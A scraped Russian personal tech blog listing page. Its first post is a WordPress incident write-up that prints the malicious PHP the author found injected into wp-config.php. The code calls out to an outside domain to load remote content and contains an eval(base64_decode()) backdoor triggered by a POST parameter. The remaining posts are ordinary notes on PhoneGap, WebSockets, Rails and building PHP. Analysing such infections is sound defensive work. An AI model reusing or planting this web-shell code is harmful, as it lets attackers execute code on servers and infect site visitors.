formats

Вирусы в WordPress — расследование инцидента

Вы один прекрасный день я обнаружил что мой сайт не хочет открывать и выдает что меня вирус. В рапорте от гугл-хрома фигурировал домен: turnitupnow.net . Выкачав на локальный комп( мой сверх секурный хостинг дает SSH по запросу — но запрос мне так удобнее не канает =) ) сайт я проискал по строке “turnitupnow.net ” и она оказалась всего в одном файле: wp-config.php. Собственно сам “вирь” представлял из себя примерно такой php код:
global $sessdt_o;
if(!$sessdt_o) {
$sessdt_o = 1;
$sessdt_k = "lb11";
if(!@$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f);
} else {
echo "";
}
} else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f);
} else {
echo "";
}
$sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "";
echo " }
} $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}

Нечего выдающегося. Просто внедряет вредоносный код с другого сайта. При такой атаки главное чтоб “хранилище вредоносного кода” выдержало нагрузку.

Судя по всему атака происходила по следующему сценарию:
1. Был взят или куплен хостинг на сервер где находится и мои сайты. Дальше его ковыряли и выясняли настройки. Выяснили структуру папок для типичного хоста.
2. Ищем хорошо известные файлы часто используемых CMS и проверяем права доступа к ним.
3. Найденые файлы с правами на запись для всех — заражаем.

Лечиться эта зараза удаление из wp-config.php кода — это просто он находиться в начале файла удалить надо все после

Вывод и всего — этого ставьте нормальные права на файлы — а то в один прекрасный день в них могут записать вирус. А вообще наблюдается недостаточное изолирование клиентов на шаред хостинге друг от друга - надо менять хостинг.

Related Posts:

 
formats

Phonegap некоторые фишки для ios 2

1.  Замечан баг в том что может если вставленная папка www недоступна xcode её отказывается казать и не дает засунуть другую.  Лечить это открывание проекта  в finder

2.  Убирание статус бара (+20 пикселей приложению) / типа fullscreen на ipad :

[[UIApplication sharedApplication] setStatusBarHidden:YES animated:NO];
application.statusBarHidden = YES;

Если использовать рецепт по переворачиванию отображению из предыдущего поста то надо ещё сделать:

[self.viewController.view setFrame:CGRectMake(0, 0, 768, 1024)];

Так же рекомендуется сам html код сделать размером 768 по высоте и 1024 по ширине и помнить что костыль с overflow: hidden не катит =)))))

3. Отключение прокрутки ( bounces ):
if ([ self.viewController.webView respondsToSelector:@selector(scrollView) ]) {
((UIScrollView *) [self.viewController.webView scrollView]).bounces = NO;
} else {
// for (id subview in self.webView.subviews)
// if ([[subview class] isSubclassOfClass: [UIScrollView class]])
// ((UIScrollView *)subview).bounces = NO;
}

Related Posts:

 
Теги:, , , ,
formats

Phonegap просто заметка

Вот как что делать с xcode — чтоб получить приложение phonegap
1. Вот так надо перетаскивать папку www в приложение phonegap =)

2. Создание ipa файла — для дальнейшей заливки на

 

 

Related Posts:

  • No Related Posts
 
formats

Phonegap некоторые фишки для ios

Приложения на phonegap под ios собираются прекрасно =) Конечно надо сначала пройти ад с ключами и подписыванием приложения, настройкой и прочим. Но есть некоторые фишки недоступные прямо из коробки (и на build.phonegap.com из config.xml ): полноэкранные приложения , косяк по ориентацией изображения . Для презентациях на iPad которые собираются можно конечно использовать css-костыль:
margin: 0;
left:768px;
-webkit-transform-origin:0px 0px;
-webkit-transform: rotate(90deg);
-webkit-box-orient:horizontal;
-moz-box-orient:horizontal;
-o-box-orient:horizontal;
box-orient:horizontal;

но есть способы эффективнее =)

Читать дальше…

Related Posts:

 
formats

Object C — адский язык

Вот так получать ориентацию устройства UIDeviceOrientation orientation = [[UIDevice currentDevice] orientation];
Ну если первые два слова это тип и переменная , то что после = моим мозгам не поддается вот сразу.
Но все же мне объяснили — это получение свойства =) А до этого я думал — что perl и pythiom самые не читаемые языки =)

Related Posts:

  • No Related Posts
 
formats

Решил попробовать Ruby on Rails

Присоединяюсь ко всему прогрессивному человечеству — пробую Ruby on Rails. Ror , если сравнивать то напоминает ZF Только у RoR свой веб-сервер. Создать приложение просто rails new first_app затем rake db:create а затем можно создавать контроллеры и вьюхи . Особенно радует что понимает сразу ?format=json . Мне крайне нравиться эта технология. В NetBeans кстати RoR тоже есть =)

Related Posts:

  • No Related Posts
 
Теги:,
formats

Websockets проблемы и решения

Как я уже писал до этого поддержка протокола на разных системах и браузера довольно сильно отличается, на данный момент даже нет нормальной поддержки в серверах. Например ipad поддерживает dreft-76 а хром уже 07 версию =) Чтоб можно было с обоих устройств работать надо чтоб сервер поддерживал обе разновидности протокола. А отличаются они довольно сильно, например в 07 версии plain текста нет — все типа шифруется от глаз. Версии 76 и 07 вполне могут работать вместе — версия 76 прекрасно детектируется по Sec-WebSocket-Key1 и Sec-WebSocket-Key2. Для тестирования и отладки взаимодействия по websocket протоколу версии 76 можно использовать оперу версии 11 — только там надо включить поддержку websockets потому что она по умолчанию отключена. Включить просто в адресной строке набирается opera:config типа ищется enable websockets и нажимается сохранить.

Related Posts:

 
Теги:, , , ,
formats

Php 5.4 / Установка отдельно

Зачем это , например есть не рутовский доступ , а надо например php-5.4 потому что в нем есть найм-спейсы =) Вот и приходиться собирать себе отдельную версию. Для начала делается так
./configure —prefix=/home/dotblog.ru/php \
—with-config-file-path=/home/dotblog.ru/conf
—with-openssl \
—enable-calendar \
—with-mysql \
—enable-sockets

Префикс — говорит куда все ставить вместо дефолтовой /usr/local а —with-config-file-path где искать конфиг php

А дальше как обычно make =))) и make install

далее идем в директорию Prefx/bin и проверяем ./php -i | more что собралось

В дальнейшем чтоб запустить php файл этой версией php надо указать полный путь для скомпилированной версии php и путь к php скрипту.

Related Posts:

 
Теги:
formats

Поддержка WebSockets браузерами

WebSockets это прекрасно, но с поддержкой все очень плохо. Во первых существует 3 разновидности стандарта — не совместимые с друг с другом.  В вторых всеми любимый гугл — в данном вопросе отдыхает… Apple в этом вопросе впереди.

Тестировал я все это дело на http://websocketstest.com/

Результаты следующие:

  • Ipad 1 и 2 — поддерживают версию 76 вебсокетов
  • Android 2.3 что во встроенном браузере, что в последней Опере отказался работать с вебсокетами
  • На десктопа Chrome 17 под Win7 держит подледную версию rfc-6455
  • Firefox 10.0.2 на win7 поддерживает hybi-draft-08
  • Adobe AIR в iBBDemo2 — отказывается поддерживать
  • Opera 11.52 отказалась поддерживать
  • Safari на WinXP — тоже отказалось поддерживать

 

Реклама: но лучше всего для обмена данными это все таки USB, высокая скорость обмена , и почти никаких проблем со совместимостью

Related Posts:

 
formats

Темы WordPress и картинки

Ставишь бывает тему для wordpress, нормально смотрится добавляешь большую картинку, а она берет и заезжает под правое меню. Мне с такой проблемой досталась тема где каждый пост был в диве. Сделал я overflow:auto но получилось не красиво — особенно если больших картинок много. Скролл для каждой большой картинки делать так: Надо в header.php текущей темы добавить:

<script type=»text/javascript» src=»http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js»></script>
<script type=»text/javascript»>
//<![CDATA[
$(document).ready(function() {
$('#content img').each(function(index) {
if ($(this).width() > 660) { $(this).replaceWith($('<div class="imageview"></div>').append($(this).clone())) }
});
});
// ]]>
</script>

Если есть уже jquery — то не надо добавлять первую строчку, цифра 660 — это максимальная ширина картинки. #content img — это селектор для картинок которым надо добавлять скролл.

И примерно такой стиль:

.imageview {
display: block;
width: 664px;
overflow: auto;
overflow-x: auto;
overflow-x: none;
}

Related Posts:

  • No Related Posts
 
Product
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

Buy Now

Switch to our mobile site